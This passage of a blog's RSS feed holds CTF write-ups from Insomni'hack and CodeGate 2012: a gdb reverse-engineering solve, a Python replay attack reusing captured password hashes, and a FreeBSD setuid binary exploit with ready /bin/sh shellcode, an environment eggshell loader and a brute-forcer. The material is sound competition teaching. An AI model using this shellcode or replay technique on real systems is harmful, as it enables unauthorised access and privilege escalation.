<p>Catchpoint 1 (returned from syscall 'write'), 0x080481ac in ?? ()<br />
$ conti
</p></blockquote>
<p>Execution seems to be in a infinite loop there. Break it...</p>
<blockquote><p>^C<br />
Program received signal SIGINT, Interrupt.<br />
--------------------------------------------------------------------------[regs]<br />
  EAX: 0x00000040  EBX: 0x00000001  ECX: 0xBFFFF7FC  EDX: 0x0000000D  o d I t s z a p c<br />
  ESI: 0x00000000  EDI: 0xBFFFF80C  EBP: 0x0AE8DB34  ESP: 0xBFFFF7F8  EIP: 0x080481AC<br />
  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0000  SS: 007B<br />
--------------------------------------------------------------------------[code]<br />
0x80481ac:	xor    eax,eax<br />
0x80481ae:	push   0x41<br />
0x80481b0:	pop    eax<br />
0x80481b1:	shr    eax,1<br />
0x80481b3:	shl    eax,1<br />
0x80481b5:	jmp    0x80481ac<br />
0x80481b7:	push   0x4<br />
0x80481b9:	pop    eax<br />
--------------------------------------------------------------------------------<br />
0x080481ac in ?? ()
</p></blockquote>
<p>Infinite loop with the unconditional jump. We try to set EIP just after the jmp (bit of guessing)</p>
<blockquote><p>gdb$ set $pc = 0x80481b7<br />
gdb$ conti<br />
Catchpoint 1 (call to syscall 'write'), 0x080481d0 in ?? ()<br />
gdb$ conti<br />
flag:<br />
Catchpoint 1 (returned from syscall 'write'), 0x080481d0 in ?? ()<br />
gdb$ conti<br />
Catchpoint 1 (call to syscall 'write'), 0x080481fb in ?? ()<br />
gdb$ conti<br />
tcatch_syscall_always_win</p>
<p>Catchpoint 1 (returned from syscall 'write'), 0x080481fb in ?? ()
</p></blockquote>
<p>flag: tcatch_syscall_always_win</p>
<p>I couldn't agree more.</p>
<p>Another way to solve this is using IDA and the x86emu plugin. It's much longer because you will need to go over the multiple decryption loops before finally arriving at the ptrace syscall and the check, but it's interesting by itself as an introduction to x86emu plugin.</p>
<p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fcodezen.fr%2F2012%2F03%2F04%2Finsomnihack-2012-reverse_me-bin-write-up%2F&amp;title=Insomni%E2%80%99hack%202012%20reverse_me.bin%20Write-up" id="wpa2a_16"><img src="http://codezen.fr/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://codezen.fr/2012/03/04/insomnihack-2012-reverse_me-bin-write-up/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Insomni&#8217;hack 2012 Network PCAP Write-ups</title>
		<link>http://codezen.fr/2012/03/04/insomnihack-2012-network-pcap-write-ups/</link>
		<comments>http://codezen.fr/2012/03/04/insomnihack-2012-network-pcap-write-ups/#comments</comments>
		<pubDate>Sun, 04 Mar 2012 14:23:49 +0000</pubDate>
		<dc:creator>aXs</dc:creator>
				<category><![CDATA[CTF]]></category>
		<category><![CDATA[Crypto]]></category>
		<category><![CDATA[insomnihack]]></category>
		<category><![CDATA[pcap]]></category>
		<category><![CDATA[python]]></category>

		<guid isPermaLink="false">http://codezen.fr/?p=85</guid>
		<description><![CDATA[In this challenge we 2 files: 1 PCAP, 1 Python The PCAP file contains a dialog between a client and server that goes like this: > = client to server < = server to client > 8e67bb26b358e2ed20fe552ed6fb832f397a507d:3daf723376f823eceeb314c8fa60e47b1ba23633 < 5f367ff47fff772986cca54219fa167175353dc7 > 78be5fe51f264a4067463bad57022348 < 3290452b9a9f6d18523347dd1daa54a1e09195a7 > 94817a6b1d833e1ffb4fcb2aa7dd14143dc5759e>_]]></description>
			<content:encoded><![CDATA[<p>In this challenge we 2 files: 1 PCAP, 1 Python</p>
<p>The PCAP file contains a dialog between a client and server that goes like this:</p>
<p>> = client to server<br />
< = server to client</p>
<p>> 8e67bb26b358e2ed20fe552ed6fb832f397a507d:3daf723376f823eceeb314c8fa60e47b1ba23633<br />
< 5f367ff47fff772986cca54219fa167175353dc7<br />
> 78be5fe51f264a4067463bad57022348<br />
< 3290452b9a9f6d18523347dd1daa54a1e09195a7<br />
> 94817a6b1d833e1ffb4fcb2aa7dd14143dc5759e>_<8b060ba4b309e73abd079d8f0128056c07b78cad<br />
< Bienvenue, superuser. Le lieu du rendez-vous n'est pas encore defini.</p>
<p>The original Python file goes like this:</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">#!/usr/bin/python2<br />
<br />
import SocketServer<br />
import socket, sys, hashlib, random<br />
<br />
<br />
if __name__ == &quot;__main__&quot;:<br />
&nbsp; &nbsp; HOST, PORT = sys.argv[1], 9999<br />
&nbsp; &nbsp; USER = raw_input(&quot;Utilisateur : &quot;).strip()<br />
&nbsp; &nbsp; PASS = raw_input(&quot;Mot de passe : &quot;).strip()<br />
&nbsp; &nbsp; sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br />
&nbsp; &nbsp; sock.connect((HOST, PORT))<br />
<br />
&nbsp; &nbsp; try: &nbsp; &nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; data = hashlib.sha1(USER).hexdigest()+&quot;:&quot;+hashlib.sha1(hashlib.md5(hashlib.sha1(PASS).hexdigest()+hashlib.sha1(PASS).hexdigest()+hashlib.md5(USER).hexdigest()).hexdigest()).hexdigest()<br />
&nbsp; &nbsp; &nbsp; &nbsp; sock.sendall(data + &quot;\n&quot;)<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; challenge = sock.recv(41).strip()<br />
&nbsp; &nbsp; &nbsp; &nbsp; sock.sendall(hashlib.md5(hashlib.sha1(PASS).hexdigest()+&quot;SuperSalt&quot;+hashlib.md5(USER+challenge).hexdigest()).hexdigest() + &quot;\n&quot;)<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; challenge = sock.recv(41).strip()<br />
&nbsp; &nbsp; &nbsp; &nbsp; sock.sendall(hashlib.sha1(PASS).hexdigest()+&quot;&gt;_&lt;&quot;+hashlib.sha1(challenge+hashlib.md5(USER).hexdigest()).hexdigest() + &quot;\n&quot;)<br />
&nbsp; &nbsp; &nbsp; &nbsp; print sock.recv(1024)<br />
&nbsp; &nbsp; except:<br />
&nbsp; &nbsp; &nbsp; &nbsp; print sock.recv(1024)<br />
<br />
&nbsp; &nbsp; sock.close()</div></div>
<p>We need to get updated information on the meeting location so we need to do a replay attack on this service.</p>
<p>We are going to map the network stream to the python code:</p>
<p>Handshake</p>
<p>> 8e67bb26b358e2ed20fe552ed6fb832f397a507d:3daf723376f823eceeb314c8fa60e47b1ba23633</p>
<p>sha1(user) : sha1(sha1(pass)+sha1(pass)+md5(user))</p>
<p>Challenge 1:</p>
<p>< 5f367ff47fff772986cca54219fa167175353dc7<br />
> 78be5fe51f264a4067463bad57022348</p>
<p>md5(sha1(pass)+"SuperSalt"+md5(user+challenge))</p>
<p>Challenge 2:</p>
<p>< 3290452b9a9f6d18523347dd1daa54a1e09195a7<br />
> 94817a6b1d833e1ffb4fcb2aa7dd14143dc5759e>_<8b060ba4b309e73abd079d8f0128056c07b78cad</p>
<p>sha1(pass)+">_<"+sha1(challenge+md5(user))</p>
<p>We can deduce:</p>
<p>sha1(user) = 8e67bb26b358e2ed20fe552ed6fb832f397a507d<br />
sha1(pass) = 94817a6b1d833e1ffb4fcb2aa7dd14143dc5759e</p>
<p>Google bruteforcing sha1(user) gives "superuser", which match the plain text welcome message "Bienvenue, superuser". We can also Google bruteforce the challenges but that's useless.</p>
<p>user = "superuser"<br />
challenge1 = "4283399"<br />
challenge2 = "3593819"</p>
<p>So we know USER, now we need PASS. But we only have sha1(pass) and it cannot be Google bruteforced.</p>
<p>But do we really need to know PASS ? If you look closely in the code above, you will see we only use the sha1 of PASS, never anything else. Since we know USER, we can carry a replay attack. We remove all reference to PASS and put directly the sha1(pass) string.</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">#!/usr/bin/python2<br />
<br />
import SocketServer<br />
import socket, sys, hashlib, random<br />
<br />
<br />
if __name__ == &quot;__main__&quot;:<br />
&nbsp; &nbsp; HOST, PORT = &quot;10.13.37.12&quot;, 9999<br />
&nbsp; &nbsp; USER = &quot;superuser&quot;<br />
&nbsp; &nbsp; sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br />
&nbsp; &nbsp; sock.connect((HOST, PORT))<br />
<br />
&nbsp; &nbsp; try: &nbsp; &nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; sock.sendall(&quot;8e67bb26b358e2ed20fe552ed6fb832f397a507d:3daf723376f823eceeb314c8fa60e47b1ba23633&quot; + &quot;\n&quot;)<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; challenge = sock.recv(41).strip()<br />
&nbsp; &nbsp; &nbsp; &nbsp; sock.sendall(hashlib.md5(&quot;94817a6b1d833e1ffb4fcb2aa7dd14143dc5759eSuperSalt&quot;+hashlib.md5(USER+challenge).hexdigest()).hexdigest() + &quot;\n&quot;)<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; challenge = sock.recv(41).strip()<br />
&nbsp; &nbsp; &nbsp; &nbsp; sock.sendall(&quot;94817a6b1d833e1ffb4fcb2aa7dd14143dc5759e&gt;_&lt;&quot;+hashlib.sha1(challenge+hashlib.md5(USER).hexdigest()).hexdigest() + &quot;\n&quot;)<br />
&nbsp; &nbsp; &nbsp; &nbsp; print sock.recv(1024)<br />
&nbsp; &nbsp; except:<br />
&nbsp; &nbsp; &nbsp; &nbsp; print sock.recv(1024)<br />
<br />
&nbsp; &nbsp; sock.close()</div></div>
<p>All done.</p>
<p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fcodezen.fr%2F2012%2F03%2F04%2Finsomnihack-2012-network-pcap-write-ups%2F&amp;title=Insomni%E2%80%99hack%202012%20Network%20PCAP%20Write-ups" id="wpa2a_18"><img src="http://codezen.fr/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://codezen.fr/2012/03/04/insomnihack-2012-network-pcap-write-ups/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>CodeGate 2012 &#8211; VULN 300</title>
		<link>http://codezen.fr/2012/02/26/codegate-2012-vuln-300/</link>
		<comments>http://codezen.fr/2012/02/26/codegate-2012-vuln-300/#comments</comments>
		<pubDate>Sun, 26 Feb 2012 01:19:38 +0000</pubDate>
		<dc:creator>aXs</dc:creator>
				<category><![CDATA[CTF]]></category>
		<category><![CDATA[exploitation bin codegate freebsd]]></category>

		<guid isPermaLink="false">http://codezen.fr/?p=75</guid>
		<description><![CDATA[$ ssh codeXing@1.234.41.2 Password: ... FreeBSD 8.2-RELEASE (GENERIC) #0: Fri Feb 18 02:24:46 UTC 2011 $ ls -l -rwsr-xr-x 1 codeXing2 codeXing2 5916 Feb 24 08:49 X -r-------- 1 codeXing2 codeXing2 26 Feb 24 08:56 password Looks like a classic binary exploitation challenge right ? $ echo "ABCDEFGHIJKLOMNOPQRSTUVWXYZ" > test $ ./X test Segmentation fault [...]]]></description>
			<content:encoded><![CDATA[<blockquote><p>$ ssh codeXing@1.234.41.2<br />
Password:<br />
...<br />
FreeBSD 8.2-RELEASE (GENERIC) #0: Fri Feb 18 02:24:46 UTC 2011</p>
<p>$ ls -l<br />
-rwsr-xr-x  1 codeXing2  codeXing2  5916 Feb 24 08:49 X<br />
-r--------  1 codeXing2  codeXing2    26 Feb 24 08:56 password</p></blockquote>
<p>Looks like a classic binary exploitation challenge right ?</p>
<blockquote><p>$ echo "ABCDEFGHIJKLOMNOPQRSTUVWXYZ" > test<br />
$ ./X test<br />
Segmentation fault</p></blockquote>
<p>Except it segfaults almost immediately for a change. The binary is small and doesn't do much, it will open a file, read 12 bytes from it and then mangles a pointer from the address of an unused function with various or, and, xor and finally call this pointer.</p>
<p>First, the start of the stack is overwritten:</p>
<blockquote><p>.text:080485A4                 mov     dword ptr [esp+8], 12h ; n<br />
.text:080485AC                 mov     dword ptr [esp+4], 90h ; c<br />
.text:080485B4                 lea     eax, [ebp+s]<br />
.text:080485B7                 mov     [esp], eax      ; s<br />
.text:080485BA                 call    _memset</p></blockquote>
<p>Then we have the pointer operations:</p>
<blockquote><p>.text:0804862E                 movzx   eax, byte ptr [ebp+var_42+1]<br />
.text:08048632                 mov     byte ptr [ebp+var_36+1], al<br />
.text:08048635                 movzx   eax, byte ptr [ebp+var_3E+2]<br />
.text:08048639                 mov     byte ptr [ebp+var_36], al<br />
.text:0804863C                 mov     ds:funcc, offset func<br />
.text:08048646                 mov     eax, ds:funcc<br />
.text:0804864B                 mov     [ebp+var_18], eax<br />
.text:0804864E                 movzx   eax, byte ptr [ebp+var_42]<br />
.text:08048652                 or      eax, 1<br />
.text:08048655                 movsx   eax, al<br />
.text:08048658                 xor     al, 0E0h<br />
.text:0804865A                 shl     eax, 18h<br />
.text:0804865D                 mov     [ebp+var_20], eax<br />
.text:08048660                 movzx   eax, byte ptr [ebp+s+1]<br />
.text:08048664                 or      eax, 1<br />
.text:08048667                 movsx   eax, al<br />
.text:0804866A                 xor     al, 0E0h<br />
.text:0804866C                 shl     eax, 10h<br />
.text:0804866F                 mov     [ebp+var_1C], eax<br />
.text:08048672                 mov     dword ptr [esp+8], 12h ; n<br />
.text:0804867A                 lea     eax, [ebp+s]<br />
.text:0804867D                 mov     [esp+4], eax    ; src<br />
.text:08048681                 mov     dword ptr [esp], offset test ; dest<br />
.text:08048688                 call    _strncpy<br />
.text:0804868D                 mov     eax, [ebp+var_20]<br />
.text:08048690                 mov     [ebp+var_30], eax<br />
.text:08048693                 mov     eax, ds:funcc<br />
.text:08048698                 mov     [ebp+var_18], eax<br />
.text:0804869B                 mov     eax, [ebp+var_18]<br />
.text:0804869E                 mov     [ebp+var_2C], eax<br />
.text:080486A1                 and     [ebp+var_2C], 0FFFFh<br />
.text:080486A8                 mov     eax, [ebp+var_2C]<br />
.text:080486AB                 or      eax, [ebp+var_20]<br />
.text:080486AE                 mov     [ebp+var_28], eax<br />
.text:080486B1                 mov     eax, [ebp+var_28]<br />
.text:080486B4                 or      eax, [ebp+var_1C]<br />
.text:080486B7                 mov     [ebp+var_24], eax<br />
.text:080486BA                 mov     eax, [ebp+var_24]<br />
.text:080486BD                 mov     [ebp+var_18], eax<br />
.text:080486C0                 mov     eax, [ebp+var_18]<br />
.text:080486C3                 mov     ds:funcc, eax<br />
.text:080486C8                 mov     eax, ds:funcc<br />
.text:080486CD                 call    eax ; funcc
</p></blockquote>
<p>What we want, of course, is get total control of eax so we can call our shellcode.</p>
<p>We have very little space since only 12 bytes will be read from the file. So our strategy will be as follow:</p>
<p>- control eax using the file<br />
- put our shell code in environment (eggshell)</p>
<p>After spending some time setting up a local FreeBSD VM because the challenge server was flacky, our team mate bpint3 found that we could control the low part of eax using positions 6 and 11 in the file.</p>
<p>That was a good start now we need to control the upper part and put it in the range of the environment. Luckily there was no ASLR and this memory space was always at the same place following consecutive executions.</p>
<p>I couldn't really make any sense of the pointer mangling code in a predictable way and time was running out, so we went for a bruteforce.</p>
<p>First we copied and modified the binary to remove the "call eax" and replaced it with 2 syscalls:</p>
<p>- one call to the write() syscall to print the value of eax<br />
- one call to exit() to avoid a segfault and get a clean exit</p>
<blockquote><p> 80486c3:	a3 40 99 04 08       	mov    %eax,0x8049940 <- ds:funcc<br />
 80486c8:	6a 04                	push   $0x4 <- nbytes<br />
 80486ca:	68 40 99 04 08       	push   $0x8049940 <- push ds:funcc<br />
 80486cf:	6a 01                	push   $0x1 <- nsize<br />
 80486d1:	31 c0                	xor    %eax,%eax<br />
 80486d3:	50                   	push   %eax<br />
 80486d4:	b0 04                	mov    $0x4,%al <- write syscall<br />
 80486d6:	cd 80                	int    $0x80 <- print eax<br />
 80486d8:	b0 01                	mov    $0x1,%al <- exit syscal<br />
 80486da:	cd 80                	int    $0x80</p></blockquote>
<p>Result:</p>
<blockquote><p>$ ./X2 test | hexdump -C<br />
00000000  4b 46 a3 a5
</p></blockquote>
<p>Next we work on the eggshell</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">#include &lt;unistd.h&gt;<br />
#define NOP 0x90<br />
&nbsp;<br />
char shellcode[] =<br />
&nbsp; &quot;\xeb\x0e\x5e\x31\xc9\xb1\x1c\xfe\x04\x0e\xe2\xfb\xfe\x06\x56&quot;<br />
&nbsp; &quot;\xc3\xe8\xed\xff\xff\xff\xea\x0d\x5d\x30\xbf\x87\x45\x06\x4f&quot;<br />
&nbsp; &quot;\x53\x55\xaf\x3a\x4f\xcc\x7f\xe7\xec\xfe\xfe\xfe\x2e\x61\x68&quot;<br />
&nbsp; &quot;\x6d\x2e\x72\x67&quot;;<br />
&nbsp;<br />
int main(void)<br />
{<br />
&nbsp; char shell[512];<br />
<br />
&nbsp; puts(&quot;Eggshell loaded into environment.\n&quot;);<br />
&nbsp; memset(shell,NOP,512); &nbsp; &nbsp; /* fill-up the buffer with NOP */<br />
&nbsp; /* fill-up the shellcode on the second half to the end of buffer */<br />
&nbsp; memcpy(&amp;shell[512-strlen(shellcode)],shellcode,strlen(shellcode));<br />
&nbsp; /* set the environment variable to */<br />
&nbsp; /* EGG and shell as its value, rewrite if needed */<br />
&nbsp; setenv(&quot;EGG&quot;, shell, 1);<br />
&nbsp; /* modify the variable */<br />
&nbsp; putenv(shell);<br />
&nbsp; /* invoke the bash */<br />
&nbsp; system(&quot;sh&quot;);<br />
&nbsp; return 0;<br />
}</div></div>
<p>Nothing special there, we didn't wrote this code, it's a standard /bin/sh shellcode for FreeBSD. Lets load it:</p>
<blockquote><p>$ ./egg<br />
Eggshell loaded into environment.</p></blockquote>
<p>Now we need to get the address of our eggshell:</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">#include &lt;unistd.h&gt;<br />
&nbsp;<br />
int main(void)<br />
{<br />
&nbsp; printf(&quot;EGG address: 0x%lx\n&quot;, getenv(&quot;EGG&quot;));<br />
&nbsp; return 0;<br />
}</div></div>
<blockquote><p>$ ./findeggaddr<br />
EGG address: 0xbfbfed49</p></blockquote>
<p>Now we can automate this with a bruteforcer that will have 3 goals:</p>
<p>- generate random file but with position 6 and 11 filled with bytes we choose (low part of the address of our eggshell: ed 49)<br />
- call the X2 binary and read its output<br />
- check if the output is a good candidate: pointer must start with bfbf (upper part of the environment table address)</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">#include &lt;stdio.h&gt;<br />
#include &lt;stdlib.h&gt;<br />
<br />
main(){<br />
<br />
int funcc;<br />
int target_low = 0xbfbf0000;<br />
int target_high = 0xbfbfffff;<br />
char payload[13];<br />
<br />
int i;<br />
FILE *fp;<br />
<br />
while(1)<br />
{<br />
&nbsp; for(i=0;i&lt;12;i++)<br />
&nbsp; {<br />
&nbsp; &nbsp; payload[i] = (char)rand();<br />
&nbsp; }<br />
<br />
&nbsp; payload[5] = 0xED;<br />
&nbsp; payload[10] = 0x49;<br />
<br />
&nbsp; fp = fopen(&quot;pwned&quot;,&quot;w&quot;);<br />
&nbsp; fwrite(payload,1,sizeof(payload), fp);<br />
&nbsp; fclose(fp);<br />
<br />
&nbsp; fp = popen(&quot;./X2 pwned&quot;, &quot;r&quot;);<br />
&nbsp; if (fp)<br />
&nbsp; {<br />
&nbsp; &nbsp; fread(&amp;funcc, 1, 4, fp);<br />
&nbsp; &nbsp; pclose(fp);<br />
<br />
&nbsp; &nbsp; printf(&quot;funcc=%X\n&quot;, funcc);<br />
&nbsp; &nbsp; if (funcc &gt; target_low &amp;&amp; funcc &lt; target_high)<br />
&nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; printf(&quot;WIN! Check pwned file\n&quot;);<br />
&nbsp; &nbsp; &nbsp; exit(0);<br />
&nbsp; &nbsp; }<br />
&nbsp; }<br />
}<br />
<br />
return 0;<br />
}</div></div>
<p>Let's run it for a couple of seconds:</p>
<blockquote><p>...<br />
funcc=FF39ED49<br />
funcc=FF2DED49<br />
funcc=FD97ED49<br />
funcc=FF79ED49<br />
funcc=BFBFED49<br />
WIN! Check pwned file</p></blockquote>
<p>So we found a solution, let's try it:</p>
<blockquote><p>$ /home/codeXing/X pwned<br />
$ id<br />
uid=1001(codeXing) gid=1001(codeXing) euid=1002(codeXing2) groups=1001(codeXing)<br />
$ cat /home/codeXing/password<br />
key_is_The_davinci_cod3_!</p></blockquote>
<p>Challenge solved.</p>
<p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fcodezen.fr%2F2012%2F02%2F26%2Fcodegate-2012-vuln-300%2F&amp;title=CodeGate%202012%20%E2%80%93%20VULN%20300" id="wpa2a_20"><img src="http://codezen.fr/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://codezen.fr/2012/02/26/codegate-2012-vuln-300/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

